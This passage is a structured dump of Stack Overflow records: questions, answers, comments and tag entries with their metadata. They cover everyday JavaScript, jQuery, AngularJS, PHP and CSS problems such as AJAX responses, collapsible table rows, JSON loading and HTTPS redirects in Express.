has body: I have several different forms that each return something different. I need to detect if it's a simple string (so i can put it in the error/status area) or if its javascript I do nothing and let it execute. This is currently how I'm doing my checking, but I want to make sure this is 100% sturdy and reliable... I couldn't think of any other way. The other option would be to always use JSON, but then I need a JSON shim, as well as somehow trying to serialize javascript into JSON. $.ajax({ type: 'POST', url: form.attr('action'), data: form.serialize() }) .done(function(data, textStatus, xhr) { if (!xhr.getResponseHeader('Content-Type').match(/text\/javascript/i)) { form.find('.status').text(data).removeClass().addClass('status status-done').slideDown(200); } else { // this is where i do nothing and let JS run } }) The following works, but I'm afraid there would be some edge case where it's not going to work (not sure what that might be, but it's important this section works 100%)
linked to: http://stackoverflow.com/q/2067472
has comment: http://stackoverflow.com/comment/39966879
has comment: http://stackoverflow.com/comment/39965953

http://stackoverflow.com/q/25689628
type: Question
has title: scale html properly and appending new information with javascript/jquery
tagged with: javascript
has body: I'm really rough with javascript/jquery and am having trouble thinking about this code. I did what I want using PHP but it causes the html to mess up when a certain amount of new entries is added. The code I have in PHP: for($i = 0; $i < sizeof($educationArray[0]); $i++) { echo " "; echo " Institution Name "; echo "".$newarray[$i]['Institution'].""; echo " Location "; echo "".$newarray[$i]['Location'].""; echo " Start Date "; echo "".$newarray[$i]['StartDate'].""; echo " End Date "; echo "".$newarray[$i]['EndDate'].""; echo " Degree "; echo "".$newarray[$i]['Degree'].""; echo " Date Received Degree "; echo "".$newarray[$i]['DegreeDate'].""; echo " GPA "; echo "".$newarray[$i]['GPA'].""; echo " "; } ?> I want to be able to have this done automatically in javascript. The code i have to add new information to the database is: Add Education x <form method="post" action="<?php echo $_SERVER['PHP_SELF'] . "?user=" . $userInfo['Id']; ?>" > Institution Name: Location: Dates of Attendance - Degree Earned Date Earned: GPA: Quick description of what is going on: When they hit the button a div appears where they can add the information. Once they input the information and hit submit, it gets saved to the database, the div disappears and the page is reloaded to display the new information that was added pushing the old information down. Any guidance on doing this using Javascript/Jquery?
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25690814
tagged with: http://stackoverflow.com/tag/html
tagged with: php
tagged with: css
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/25690814

http://stackoverflow.com/comment/39969557
comment on: http://stackoverflow.com/q/25589435
type: Comment
type: QuestionComment
has text: Everything seems ok with your code (I even copied it and ran a test, just to be completely sure). I'm assuming this has to be an error with the path. That or it's something else you're not sharing...
score: 2

http://stackoverflow.com/a/39955825
has comment: http://stackoverflow.com/comment/67199996
score: 5
downvote count: 0
has body: You can use Array.from to convert a TypedArray into an Array just before the stringification process. JSON.stringify(Array.from(new Int32Array([101, 102, 103])))
type: Answer
answers question: http://stackoverflow.com/q/25615313
upvote count: 5

http://stackoverflow.com/q/25660006
tagged with: while-loop
has answer: http://stackoverflow.com/a/25660261
has title: How Do i Loop Js with mysql while loop
tagged with: php
type: AnsweredQuestion
has body: Hey Guys i need to ask is that how can i loop the javascript with the while loop As My code is this $i=0; while($row = mysqli_fetch_array($result)) { echo ' '.$row['shade_desc'].' Code: '.$row['shade_code'].' Category: '.$row['categories'].' '; $code=$row['shade_code']; $result_quantity = mysqli_query($con,"SELECT ...........); $num_of_rows=mysqli_num_rows($result_quantity); $count=0;?> <?php echo ' Available Packaging: '; while($row_quantity = mysqli_fetch_array($result_quantity)) { echo ' '.$row_quantity['quantity'].' '.$row_quantity['quantity_unit'].' '; } echo ' '; echo ' Person info will be listed here. '; echo ' '; echo ' Quantity: '; echo ' Add to Cart '; $i++; the Code Works Well but as i'm calling all the items by while loop from mysqldatabase so when i run this code this only works on the 1st item and rest does'nt work.. Watch This Images For A Quick Veiw http://imgur.com/2qM0FzX
tagged with: mysql
tagged with: loops
has comment: http://stackoverflow.com/comment/40098032
type: Question
accepted answer: http://stackoverflow.com/a/25660428
has answer: http://stackoverflow.com/a/25660278
possible better answer: http://stackoverflow.com/a/25660261
has answer: http://stackoverflow.com/a/25660428
score: 0
answer count: 3
upvote count: 1
downvote count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40098108
favorite count: 0
has comment: http://stackoverflow.com/comment/40098270
has comment: http://stackoverflow.com/comment/40098235

http://stackoverflow.com/comment/40113362
type: Comment
type: QuestionComment
score: 3
has text: Yes, it's possible. Note that yes/no questions are not really suitable for Stack Overflow. You can ask those in chat. If you have a specific problem with your code, you are welcome to ask about it.
comment on: http://stackoverflow.com/q/25668637

list
type: Tag
tags question: http://stackoverflow.com/q/25565416
tags question: http://stackoverflow.com/q/25712410
tag name: list
tags question: http://stackoverflow.com/q/25662429
tags question: http://stackoverflow.com/q/25684499

http://stackoverflow.com/q/25567400
has body: I'm trying to change the css rules on a class called active which have static css already but i would like to alter a rule in it to make an div animate slide. i don´t know how to target a class instead of an element with the name of the class. Javascript var active = document.getElementsByClassName('active'); active.style.color = 'red'; I´ve tried both these methods but none seems to work. var i = 0; while(i &lt; divs.length) { if(divs[i].className == "active") { var b = 0; for (var a = 0; a &lt; 10; a++){ divs[i].style.left = b+'em'; b += 6; } } i++; } I´t wont add left to the css rule nor color. CSS .active{ position:absolute; left:-60em; Jquery is not an option in this case.
score: 0
linked to: http://stackoverflow.com/q/566203
type: UnansweredQuestion
has title: Change css of static class with javascript
answer count: 0
type: Question
has comment: http://stackoverflow.com/comment/39928052
duplicate of: http://stackoverflow.com/q/566203
tagged with: javascript
has comment: http://stackoverflow.com/comment/39928012

http://stackoverflow.com/q/25622584
tagged with: tree
downvote count: 0
has body: I have a table with some rows. Each row get a data-id attribute and all 'child' nodes get a data-parent-id attribute. I have made indentions in the code, so it's easier to see child/parent relationship. How can I make these table rows collapsible? I have made this javascript $('tr[data-id]').css('cursor', 'pointer').click(function() { var parentId = $(this).attr('data-id'); // set status $(this).toggleClass('expanded collapsed'); // collapse/expand child nodes $("tr[data-parent-id='" + parentId + "']").toggleClass('hidden'); // icon $(this).children('td').children('i').toggleClass('fa-caret-right fa-caret-down'); }); It does collapse and expand the table rows, but if all the rows are expanded and I try to collapse of the 'highest leveled' nodes it only collapses the first child, but not the deeper levels. How can I make sure it collapses an entire level? I thought of using nextAll('tr[data-parent-id]').each(function .... something.
score: 1
has title: Make table rows collapsible with jQuery
type: Question
has comment: http://stackoverflow.com/comment/40030449
tagged with: javascript
tagged with: jquery
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40029979
has comment: http://stackoverflow.com/comment/40055083
favorite count: 0
answer count: 0
has comment: http://stackoverflow.com/comment/40031273
type: UnansweredQuestion
tagged with: treeview

http://stackoverflow.com/comment/39899178
has text: Thanks, everyone! Unfortunately, I don't control Page B. Then it would be easy to just pass a URL value.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25551579

http://stackoverflow.com/comment/40018217
has text: I'd go with .data('prop') instead of .attr('data-prop') though both should work
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25616071
type: Comment

http://stackoverflow.com/comment/40145455
score: 0
type: Comment
type: QuestionComment
has text: @C-linkNepal It is not impossible :)
comment on: http://stackoverflow.com/q/25680713

dreamweaver
type: Tag
tag name: dreamweaver
tags question: http://stackoverflow.com/q/25587032

http://stackoverflow.com/comment/40184269
comment on: http://stackoverflow.com/a/25707414
score: 0
type: Comment
has text: okay, you need to include a hidden element variable say hidArr on login.php form, and bind the controls [txtLogin, txtPassword] change events that can update values in hidArr and convert to json array; and pass over to other form
type: AnswerComment

http://stackoverflow.com/q/25616925
tagged with: http-redirect
has answer: http://stackoverflow.com/a/25617256
has comment: http://stackoverflow.com/comment/40027145
has comment: http://stackoverflow.com/comment/40019659
has comment: http://stackoverflow.com/comment/40019853
has answer: http://stackoverflow.com/a/25617186
type: Question
has title: Issue with redirecting to a URL
tagged with: javascript
has body: I have a website were i show some result from different providers combined.And on selection i take them to the original sites booking page. The issue i am facing is there is a Url : http://www.abc.xx/booking.aspx?someparameters If i do this from my page to open this booking page: window.open(result, "_blank"); The Url opens in a new tab but gives some error, but if i copy paste the same Url in the same browser next to the failed tab and hit Go , it works perfectly fine. Any suggestions?
score: 0
answer count: 3
tagged with: asp.net
has answer: http://stackoverflow.com/a/25617103
type: UnansweredQuestion

http://stackoverflow.com/comment/40166392
has text: Don't close ` ` if you'd open ` `! Your sample is wrong!
type: AnswerComment
comment on: http://stackoverflow.com/a/25697218
type: Comment
score: 0

http://stackoverflow.com/a/25694891
has comment: http://stackoverflow.com/comment/40161671
downvote count: 0
has comment: http://stackoverflow.com/comment/40161872
has comment: http://stackoverflow.com/comment/40161776
has comment: http://stackoverflow.com/comment/40161685
has comment: http://stackoverflow.com/comment/40161767
has comment: http://stackoverflow.com/comment/40161661
type: Answer
upvote count: 1
has body: On edit click you can run a select query based on the ID of the record. I see you are displaying it, so just grab the text of the ID field from the table. And we assume you have already saved the data from the form above...
score: 1
answers question: http://stackoverflow.com/q/25694850

http://stackoverflow.com/comment/40037320
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25626299
has text: Oh then use .then(). (Also this should all be done in the service)
score: 0

http://stackoverflow.com/comment/39925113
has text: @KyawTun you're right, thanks for the tip, fixed
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25556681

http://stackoverflow.com/q/25574951
tagged with: url-rewriting
has answer: http://stackoverflow.com/a/25575029
has comment: http://stackoverflow.com/comment/39943676
type: Question
has comment: http://stackoverflow.com/comment/39944144
has body: Can you please let me know how I can hide a Page name from URL in PHP or HTML? For example if I have something like: www.mydomain.com/about.html www.mydomain.com/project.html www.mydomain.com/contact.php only be shown as: www.mydomain.com I already saw this trick using Add the following to your .htaccess file: ####### #Allow PHP/HTML pages to load without the filename extension ###### RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\.php -f RewriteRule ^(.*)$ $1.php RewriteCond %{REQUEST_FILENAME}\.html -f RewriteRule ^(.*)$ $1.html but this only removes the extensions. Thanks
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/73102586
upvote count: 1
downvote count: 1
tagged with: javascript
tagged with: jquery
has title: Hiding File Name From URL
favorite count: 0
has answer: http://stackoverflow.com/a/25575287
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: php

http://stackoverflow.com/comment/40082917
type: Comment
has text: Thanks it's more clearer now! I can see the registration message on the main page. but the only result showing is the "Please provide your first name" even if after signing up successfully.
comment on: http://stackoverflow.com/a/25647099
score: 0
type: AnswerComment

windows-server-2008-r2
tag name: windows-server-2008-r2
type: Tag
tags question: http://stackoverflow.com/q/25630212

http://stackoverflow.com/q/25691884
has comment: http://stackoverflow.com/comment/40161103
score: -2
tagged with: ext4
tagged with: http://stackoverflow.com/tag/json
has title: ExtJs, Jackson, Lombok, Spring controller json response - tree population
has answer: http://stackoverflow.com/a/25700358
has body: no lack with extjs tree population here is my controller : @RequestMapping(value = "/getTree", method = RequestMethod.GET, produces="application/json") @ResponseStatus(HttpStatus.ACCEPTED) @ResponseBody protected String handleRequest(HttpServletRequest request) throws Exception { String json = "[{'text': 'a','children': [{'text': 'b','leaf': true}, {'text': 'c','leaf': true}, {'text': 'd','leaf': true}],'leaf': false,'expanded': true},{'text': 'e','leaf': true},{'text': 'f','leaf': true}]"; return json; } here is my js : Ext.Loader.setConfig({enabled: true}); Ext.Loader.setPath('Ext.ux', './extjs/ux'); Ext.require([ 'Ext.grid.*', 'Ext.data.*', 'Ext.util.*', 'Ext.tree.*', 'Ext.toolbar.Paging', 'Ext.ModelManager', 'Ext.tip.QuickTipManager']); Ext.onReady(function(){ var store = Ext.create('Ext.data.TreeStore', { proxy:{ type: 'ajax', url: './getTree' } }); Ext.create('Ext.tree.Panel', { title: 'tree title', width: 200, height: 200, store: store, rootVisible: false, renderTo: Ext.getBody() }); }); Please take a look, maybe json or controller is not ok ... ? There are a lot of examples in web, but till now I did't find something works for me with spring and extjs. ================================================== The problem is that I see that json is downloaded from server, but tree is not generated after it. Tnx !
downvote count: 2
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: extjs
type: AnsweredQuestion
upvote count: 0
tagged with: spring
accepted answer: http://stackoverflow.com/a/25700358
type: Question

http://stackoverflow.com/comment/40137145
type: QuestionComment
comment on: http://stackoverflow.com/q/25681761
has text: Why do you hate loops? You _have to_ use a loop.
score: 0
type: Comment

http://stackoverflow.com/a/25669223
downvote count: 0
has body: The FIX is Animating border-color instead of background But if you need to add this effect to a div simply add a divinside the body then change the background in css to border-color property DEMO @-webkit-keyframes blink { 0% { border-color:red; } 50% { border-color:green;} 100% { border-color:red; } } @-moz-keyframes blink { 0% { border-color:red; } 50% { border-color:green;} 100% { border-color:red; } } @-ms-keyframes blink { 0% { border-color:red; } 50% { border-color:green;} 100% { border-color:red; } } div{ border:2px solid; width:200px; height:200px; -webkit-animation: blink 1s infinite; -moz-animation: blink 1s infinite; -ms-animation: blink 1s infinite; }
score: 1
answers question: http://stackoverflow.com/q/25669050
upvote count: 1
type: Answer

http://stackoverflow.com/comment/40143520
type: Comment
comment on: http://stackoverflow.com/q/25685558
has text: @codename-: Yes, you can. But they probably don't want to.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40134076
type: QuestionComment
comment on: http://stackoverflow.com/q/25658555
type: Comment
score: 0
has text: In the external file, you could create a (say) `InitializeName(itemName)` function that you pass the value to, which then stores it in a variable in the external file.

http://stackoverflow.com/a/25584838
has comment: http://stackoverflow.com/comment/39961073
answers question: http://stackoverflow.com/q/25584060
has body: I create Canvas service like this and is work: var app = angular.module('myModule', []); app.factory("Canvas", ["$q", function($q) { var Canvas = function(element, options) { this.q = $q; this.init(); console.log(this.q, element, options); } Canvas.prototype.init = function() {/*...*/}; Canvas.prototype.otherMethod = function() {/*...*/}; return Canvas; }]); app.controller('MainCtrl', ['$scope', 'Canvas', function($scope, Canvas) { console.log( new Canvas().q ); }]); Also you can see this on Pluncer here
score: 1
upvote count: 1
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40081582
type: Comment
comment on: http://stackoverflow.com/a/25649117
score: 1
type: AnswerComment
has text: Yeah I'll remember to do that when I collect the scattered docs about JSV into the SS wiki. But ultimately JSON should still be preferred in Browsers/JavaScript as it can take advantage of browsers native `JSON.parse()` API and JSON introspection tools, which effectively means JSV.js is only really useful for serializing complex objects in QueryString params, and even then when it's too complex it's likely better to be POST'ed as JSON instead.

http://stackoverflow.com/a/25638959
downvote count: 0
has comment: http://stackoverflow.com/comment/40059684
accepted answer of: http://stackoverflow.com/q/25638834
has comment: http://stackoverflow.com/comment/73878712
answers question: http://stackoverflow.com/q/25638834
upvote count: 19
has comment: http://stackoverflow.com/comment/40059742
type: AcceptedAnswer
type: Answer
score: 19
has body: For such loops, you need to put the contents in a closure. for (var i = 0; i &lt; data.length; i++) { (function(){ var file = data[i]; $.getJSON("/types/" + file, function(json) { if (json[0] !== undefined) { console.log(json[0] + file); } }); })(); }

http://stackoverflow.com/q/25665935
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25694452
type: Question
has comment: http://stackoverflow.com/comment/40110028
tagged with: charts
tagged with: javascript
has title: Plotting 75000 points on a rich Scatter Chart with Tooltips
has comment: http://stackoverflow.com/comment/40144059
score: 0
answer count: 1
tagged with: highcharts
has comment: http://stackoverflow.com/comment/40210398
has comment: http://stackoverflow.com/comment/40108965
has body: I could post some code here but the title of the question is exactly what the problem is. My chart.destroy() takes a lot of time with 75000 points. Each point has a tooltip too (tooltip used is Highcharts' own tooltip) Also, drawing a new chart using new Highcharts.Chart({ ...options...}) also takes a lot of time. Has anyone worked with these many data points with Highcharts? If yes, how did you manage to keep it working smoothly. A 4-5 second lag is fine but I'm getting 30 second delays in rendering the chart. GC event in the Timeline shows a lot of data being garbage collected as well. I sense I don't have a solution but I'm desperately looking for any clues. Thanks!
has comment: http://stackoverflow.com/comment/40206434

http://stackoverflow.com/comment/40120622
comment on: http://stackoverflow.com/q/25672688
score: 0
has text: why did you empty the bodies? just don't reset the constructor and you should have the result u want.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25706292
has body: I have a problem with my ngModel in select not showing as selected. Both id and name are matching but its not working, see selectedState. Pointing model to the actual object within options array works, see selelectedState2. No idea whats going on ... Fiddle: http://jsfiddle.net/fedorsmirnoff/b49n4Ldp/2/ function MainCtrl($scope) { $scope.stateOptions = [ {id: 1, name: "Alaska"}, {id: 2, name: "Montana"}, {id: 3, name: "Nebraska"}, {id: 4, name: "Texas"} ] $scope.selectedState = {id: 2, name: "Montana"}; $scope.selectedState2 = $scope.stateOptions[1]; }
upvote count: 21
accepted answer: http://stackoverflow.com/a/25706319
possible better answer: http://stackoverflow.com/a/25706339
has answer: http://stackoverflow.com/a/25706351
favorite count: 0
has answer: http://stackoverflow.com/a/25706339
tagged with: angularjs
has answer: http://stackoverflow.com/a/25706327
has answer: http://stackoverflow.com/a/25706319
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25706331
downvote count: 0
score: 21
tagged with: angularjs-ng-options
type: Question
has answer: http://stackoverflow.com/a/25706320
tagged with: angularjs-ng-model
has title: Angularjs select does not mark matching model as selected
tagged with: javascript
answer count: 6
linked to: http://stackoverflow.com/q/25631744

http://stackoverflow.com/q/25595207
tagged with: javascript
has comment: http://stackoverflow.com/comment/39979788
answer count: 2
upvote count: 0
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/39980243
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25595231
has title: Uncaught TypeError: undefined is not a function - jQuery
has answer: http://stackoverflow.com/a/25595258
downvote count: 2
tagged with: wordpress
type: Question
has body: I have problem with website slide. after clicking on inspect element in chrome i get massage "Uncaught TypeError: undefined is not a function" in file custom.js here is file code jQuery(document).ready(function() { jQuery('#slider').nivoSlider({pauseTime: 4500}); }); } here is website address http://myisraeltoday.com using WordPress Theme: http://wordpress.org/themes/effect Help needed
score: -2

http://stackoverflow.com/comment/39965185
comment on: http://stackoverflow.com/q/25587201
score: 0
type: Comment
type: QuestionComment
has text: yep, I can, but I just want to output text to console, but without reference. what should I override it to?

http://stackoverflow.com/q/25654796
tagged with: node.js
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25790166
possible better answer: http://stackoverflow.com/a/25654951
tagged with: https
type: Question
has body: Following another SO question, the latest I have been trying is (see ligatures.net): self.ipaddress = process.env.OPENSHIFT_NODEJS_IP; self.port = process.env.OPENSHIFT_NODEJS_PORT || 443; if (typeof self.ipaddress === "undefined") { self.ipaddress = "127.0.0.1"; }; ... self.app = express(); // 4.8.7 ... // Trusting Openshift proxy self.app.enable('trust proxy'); // Http -&gt; Https redirection middleware self.app.use(function (req, res, next) { if ( !req.secure() ) { var tmp = 'https://' + process.env["DOMAIN_NAME"] + req.originalUrl; console.log("Redirect to: " + tmp); res.redirect(tmp); } else { next(); } }); ... // Creating a http server https.createServer(self.app).listen(self.port, self.ipaddress, function(err) { if (err) { console.log("Node server error: " + err.toString()); } else { console.log('%s: Node server started on %s:%d ...', Date(Date.now() ), self.ipaddress, self.port); } }); In the Openshift logs, I get: Property 'secure' of object # is not a function This is the line: if ( !req.secure() ) { The certificates are loaded in the console. The application starts successfully on port 8080. Why am I getting this message and how should I create a secured Express 4.0 https application in OpenShift? Does anyone have operational code to share? Thanks! UPDATE I have updated the redirection as following: // Http -&gt; Https redirection middleware self.app.use(function (req, res, next) { if ( req.headers['x-forwarded-proto'] === 'http' ) { var tmp = 'https://' + req.headers.host + req.originalUrl; console.log("SERVER redirect to: " + tmp); res.redirect(tmp); } else { var pt = req.protocol || ""; var ho = req.headers.host || ""; var ur = req.originalUrl || ""; console.log("\nProtocol: " + pt + "\nHost : " + ho + "\nUrl : " + ur); var tmp = req.protocol + '://' + req.headers.host + req.originalUrl; console.log("SERVER no redirect: " + tmp); next(); } I see a couple of the following from the console: SERVER no redirect: http://undefined/ Protocol: http Host : Url …
tagged with: ssl
tagged with: javascript
score: 6
answer count: 3
has answer: http://stackoverflow.com/a/25790166
downvote count: 0
favorite count: 0
has title: Creating an Express JS 4.0 application with https on Openshift, including http redirection
has answer: http://stackoverflow.com/a/25655266
has answer: http://stackoverflow.com/a/25654951
upvote count: 6
linked to: http://stackoverflow.com/q/25630353
tagged with: openshift

http://stackoverflow.com/q/25587424
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39965632
has comment: http://stackoverflow.com/comment/39965721
favorite count: 0
has comment: http://stackoverflow.com/comment/39968315
type: UnansweredQuestion
tagged with: css
has comment: http://stackoverflow.com/comment/39967772
has title: How could I go about getting this animated background effect?
downvote count: 0
score: 1
type: Question
answer count: 2
tagged with: canvas
has comment: http://stackoverflow.com/comment/39967806
has answer: http://stackoverflow.com/a/25587711
tagged with: javascript
has body: I am trying to make my website a live background of space. I am attempting to get the stars to spawn on the left of the screen and slowly move over. And occasionally their will be stars that come in from other directions. My question is, how should I go about doing this? Would it be smartest to make a Javascript, script that would make a LOT of &lt;div&gt;'s and then move them all randomly? Or would it be smartest to use a canvas? I've never used a canvas before so I don't know all it's uses yet. Here's a link to the effect I'm trying to emulate (It's a YouTube video with music) - https://www.youtube.com/watch?v=y8MsE-4dygY&amp;list=PL21A7A915E7020E73&amp;index=16 I'm trying to emulate what the stars or partices are doing in the background of that video, so how should I go about this? (I'm not asking for all the code, I'm just making that clear.) Thanks in advance! :)
has answer: http://stackoverflow.com/a/25587473

http://stackoverflow.com/comment/39982765
has text: @SurajKapoor: you have two elements with the same id ("menu-toggle"). Your script will see the first element and ignore the second element, causing it to fail.
score: 1
comment on: http://stackoverflow.com/q/25595519
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40054243
type: Comment
comment on: http://stackoverflow.com/a/25592858
has text: @user3744885 Ok, and what would `custom_substring` do in this case (if `F('test')` is selecting elements. And have you considered creating a jQuery plugin for this instead of reinventing the wheel?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40122823
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25673781
score: 2
has text: Can you make a Fiddle? It will be easy to solve problem using it.

http://stackoverflow.com/comment/40119595
comment on: http://stackoverflow.com/a/25671385
type: AnswerComment
has text: No :( dataURL is what I tried first. It doesn't work because the dataURL I have looks something like this: filesystem:chrome-extension://' + chrome.i18n.getMessage('@@extension_id') + '/persistent/' + fileName. The app does NOT have access to the created image because it's in the extension's sandbox. At least that's what I thought the issue was when I couldn't display the image on the app using the dataURL.
score: 0
type: Comment

http://stackoverflow.com/comment/40069464
score: 0
type: Comment
type: QuestionComment
has text: one call is replacing the div and then that register page is replacing there then it appears.
comment on: http://stackoverflow.com/q/25643264

http://stackoverflow.com/q/25601055
has title: How pass parameter object in scala function?
tagged with: javascript
has body: With javaScript I can do something like this: var parameters = {} for (object in objects) { if (someCondition(object)) { parameters.[object.getName()] = object.getValue(); } } myFunction(parameters) The idea is to collect parameters and pass them as object (!) not as array to the function. How do something similar with scala?
answer count: 2
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25601587
type: UnansweredQuestion
tagged with: scala
has answer: http://stackoverflow.com/a/25601316
score: 1
has comment: http://stackoverflow.com/comment/39990660
upvote count: 1
type: Question
tagged with: function

http://stackoverflow.com/comment/40047628
score: 0
has text: There's no module loader or anything like that, AFAIK. The best you have is running a script at shell startup, either to do something or to set up a functions and variables in scope. I'm sure people would make good use of some kind of module loader (wink wink).
type: Comment
comment on: http://stackoverflow.com/a/25578382
type: AnswerComment

http://stackoverflow.com/q/25567431
has body: I am trying to load data from data.json using angularjs. var app= angular.module("MyApp", []); app.controller("MyFunction", ['$scope','$http', function($scope, $http) { $http.get('js/data.json').success (function(data){ $scope.mydata = data; }); }] ); data.json loads the content locally but not on server. Please help.
has comment: http://stackoverflow.com/comment/39928598
has comment: http://stackoverflow.com/comment/39929150
score: 0
has comment: http://stackoverflow.com/comment/39928738
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/39928667
has comment: http://stackoverflow.com/comment/39928374
tagged with: angularjs
has answer: http://stackoverflow.com/a/25567776
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39928249
has title: json file not loading on server but works locally - AngularJs
type: Question
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/25567776

http://stackoverflow.com/a/25569064
has comment: http://stackoverflow.com/comment/39936397
has comment: http://stackoverflow.com/comment/39942382
upvote count: 1
has comment: http://stackoverflow.com/comment/39950442
score: 1
accepted answer of: http://stackoverflow.com/q/25561850
has body: This is the expected behavior on FileMaker Pro and FileMaker WebDirect. FileMaker Go is different. GetLayoutObjectAttribute ( "webviewer" ; "Content" ) DOES get the current DOM with FileMaker Go.
answers question: http://stackoverflow.com/q/25561850
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39948574
has comment: http://stackoverflow.com/comment/39934090
type: Answer

http://stackoverflow.com/q/25552163
accepted answer: http://stackoverflow.com/a/25552212
tagged with: http://stackoverflow.com/tag/html
has title: Mobile Menu - expanding and collapsing
tagged with: css
type: AnsweredQuestion
tagged with: responsive-design
has answer: http://stackoverflow.com/a/25552212
type: Question
has body: I have created a responsive mobile menu using jquery. Everything works fine except the toggling of the menu. By default the menu is expanded. I want the menu to be collapsed by default and when the word menu is clicked it expands and is then able to expand and collapse on selection. The only point of consideration in this is that there is also a normal navigation menu, which is displayed and layout differently. I wish for this menu to be always active. I only want the mobile menu to be hidden (collapsed) by default and then expanded on when clicked. I have uploaded the projected onto jsfiddle: linkhttp://jsfiddle.net/qdhg0r9d/ thanks
answer count: 2
possible better answer: http://stackoverflow.com/a/25552275
has answer: http://stackoverflow.com/a/25552275
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/q/25607931
has comment: http://stackoverflow.com/comment/40003277
has comment: http://stackoverflow.com/comment/40003600
type: Question
has comment: http://stackoverflow.com/comment/40003726
has comment: http://stackoverflow.com/comment/40003753
tagged with: javascript
has comment: http://stackoverflow.com/comment/40003368
score: 0
has comment: http://stackoverflow.com/comment/40003798
has answer: http://stackoverflow.com/a/25608519
has comment: http://stackoverflow.com/comment/40003151
answer count: 1
has comment: http://stackoverflow.com/comment/40003724
has title: Angular can't return json content to object
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40003265
has comment: http://stackoverflow.com/comment/40003328
has body: I'm trying to get a json file content to an object var myApp = angular.module('AngularPortfolio', []); myApp.config( function($interpolateProvider) { $interpolateProvider.startSymbol('{[{').endSymbol('}]}'); }); myApp.controller('AppCtrl', ['$scope', '$http', function($scope, $http){ $scope.projects = {}; $http.get('../bundles/xxxxxxxxxx/portfolio/data.json') .success( function(data) { $scope.projects = data; }) .error( function(data) { console.log('ERREUR'); }); }]); (edit latest post) My JSON file : [ { "title": "example 01", "img" : "1.jpg", "filters" : { "accompagner" : "communication corporate", "solutions" : "digital" } }, { "title": "example 02", "img" : "2.jpg", "filters" : { "accompagner" : "communication financiere", "solutions" : "strategies et dispositifs" } }, { "title": "example 03", "img" : "3.jpg", "filters" : { "accompagner" : "communication rse et developpement durable", "solutions" : "design et identite" } } ] (edit latest post) And my ng-repeat code : &lt;div ng-repeat="item in projects"&gt; &lt;img src="../bundles/xxxxxxxx/uploads/{[{item.img}]}" alt="{[{item.title}]}"&gt; &lt;h3&gt;{[{item.title}]}&lt;/h3&gt; &lt;/div&gt; This code return data like a string and I cannot use this to a ng-repeat. Can you help me ? Many Thanks
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40003637

http://stackoverflow.com/q/25674723
has answer: http://stackoverflow.com/a/25674845
tagged with: css
has title: Creating UI for dynamically loaded content in autocomplete
score: 2
type: AnsweredQuestion
has body: I am trying to build an autocomplete on a big dataset and have already implemented the search algorithm for it. Now for the UI part I want to create a dropdown exactly like the dropdown of a select item. What is the best way to create it so that it works on all browsers. HTML: &lt;input class="autocomplete"&gt; JAVASCRIPT $('.autocomplete').keyup(function(){ jQuery.ajax({ url://URL success:funtion(){ // Convert the input to an input with dropdown } }) }) Please Note : I don't want something like twitter typeahead or jQuery UI's autocomplete to do the searching for me. I just want something whom I give my data and it makes something like select dropdown box out of it
upvote count: 2
possible better answer: http://stackoverflow.com/a/25674845
type: Question
accepted answer: http://stackoverflow.com/a/25675256
answer count: 2
has comment: http://stackoverflow.com/comment/40124469
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25675256
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25653943
tagged with: jquery
type: Question
tagged with: http://stackoverflow.com/tag/html
score: 0
has comment: http://stackoverflow.com/comment/40090215
has title: Storing class changes with localStorage - can this be done?
tagged with: local-storage
answer count: 1
has comment: http://stackoverflow.com/comment/40087254
has body: So I want to create a favourites tag option for each user so have the following code: if (window.localStorage) { var didTheyFave = $('.icon-star-empty').click(function() { localStorage.setItem('didTheyFave', faveClass()); alert(localStorage.getItem('didTheyFave')); }); } function faveClass() { $( this ).toggleClass( "icon-star-empty" ); $( this ).toggleClass( 'icon-star' ); } So, when the empty star icon is clicked it changes to a full icon but want this change to be stored in browser so when they come back it's still the full icon. I tried to invoke a function as the value but don't think that's allowed. Thanks
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25654034
has comment: http://stackoverflow.com/comment/40087210

http://stackoverflow.com/a/25625234
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25624458
